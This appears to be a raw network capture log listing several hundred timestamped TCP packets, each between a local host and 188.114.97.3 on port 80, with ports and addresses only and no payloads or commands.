Jan 25, 2023 09:42:44.361608982 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.361646891 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361699104 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361713886 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.361758947 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.361773968 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361821890 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361886978 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.361886978 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361938953 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361987114 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362040043 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362051964 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.362091064 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362143993 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362155914 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.362201929 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362206936 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.362251997 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362307072 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362313032 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.362359047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362404108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362451077 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362476110 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.362514973 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362521887 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.362565041 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362618923 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362646103 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362688065 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.362720966 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.362737894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362787962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362845898 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362853050 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.362895012 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362947941 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.362962961 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.362998962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363058090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363111973 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363121033 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.363162994 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363219023 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363225937 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.363281012 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.363292933 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363337994 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363389969 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363404036 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.363440990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363487005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363508940 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.363545895 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363627911 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363650084 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363696098 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.363713026 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.363728046 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363771915 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363822937 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363842010 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.363878012 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363924980 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.363953114 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.363984108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364029884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364084959 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364110947 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.364140034 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364188910 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364224911 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.364249945 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364270926 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.364305019 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364358902 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364375114 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.364392996 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364440918 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364473104 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364511013 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.364533901 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.364535093 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364598989 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364653111 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364667892 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.364703894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364754915 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364768028 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.364808083 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364856005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364901066 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.364943027 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.364967108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365020990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365036011 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.365057945 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365089893 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.365112066 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365164042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365187883 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.365215063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365269899 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365282059 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.365322113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365367889 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365422010 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365433931 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.365473986 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365540981 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.365550995 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365605116 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365612984 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.365654945 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365709066 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365720034 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.365758896 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365813017 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365823984 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.365861893 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365931034 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.365983963 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.365989923 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366038084 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366095066 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366099119 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.366144896 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366199970 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366209030 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.366234064 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366264105 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366283894 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.366319895 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366374969 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366380930 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.366436958 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366491079 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366501093 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.366552114 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.366553068 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366605043 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366669893 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.366676092 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366755009 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366766930 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.366786003 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366839886 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366853952 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.366892099 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366946936 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.366956949 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.366981983 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367006063 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.367048979 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367100954 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367113113 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.367151022 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367203951 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367211103 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.367259979 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367264032 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.367321014 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367383003 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.367391109 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367438078 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367491007 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367505074 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.367552042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367573023 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.367604017 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367630959 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367674112 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.367692947 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.367695093 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367757082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367810965 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367818117 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.367862940 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367916107 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367925882 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.367975950 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.367979050 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.368024111 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368073940 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368088961 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.368127108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368180990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368191957 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.368237019 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368242025 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.368284941 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368335962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368347883 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.368386984 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368438005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368451118 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.368506908 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368525028 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.368560076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368613005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368626118 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.368663073 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368714094 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368726969 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.368769884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368777037 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.368818045 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368870974 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368880987 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.368932962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.368982077 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369014025 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369025946 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369045019 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369060040 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369060993 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369107962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369155884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369196892 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369210005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369235039 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369263887 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369282961 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369287014 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369287014 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369328976 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369376898 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369383097 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369435072 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369482994 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369488955 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369530916 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369576931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369585991 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369626999 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369631052 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369673967 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369690895 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369720936 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369729042 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369770050 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369817019 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369817972 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369863987 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369911909 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369915009 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.369957924 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.369962931 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.370007038 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.370033979 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.370053053 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.370068073 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.370095968 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.370115042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.370177031 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.370177984 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.370237112 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.370248079 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.370285034 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.370286942 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.370332956 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.370338917 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.370384932 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389327049 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389369011 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389398098 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389425039 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389429092 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389452934 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389477968 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389482021 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389506102 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389506102 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389517069 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389528036 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389532089 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389559984 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389588118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389590979 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389609098 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389616966 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389631987 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389646053 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389672995 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389694929 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389702082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389730930 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389733076 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389746904 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389759064 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389786959 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389786959 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389806986 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389816999 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389827967 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389846087 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389868021 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389873981 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389902115 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389930964 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389949083 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389949083 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389957905 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.389971972 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.389988899 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390017033 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390037060 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390043974 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390060902 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390072107 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390095949 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390100002 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390127897 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390151978 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390156031 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390186071 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390198946 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390224934 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390232086 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390232086 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390252113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390269995 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390279055 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390294075 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390306950 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390332937 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390352964 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390352964 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390361071 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390393972 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390408993 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390410900 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390427113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390445948 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390455008 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390470028 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390486002 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390506029 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390506029 CET	49728	80	192.168.2.3	188.114.97.3
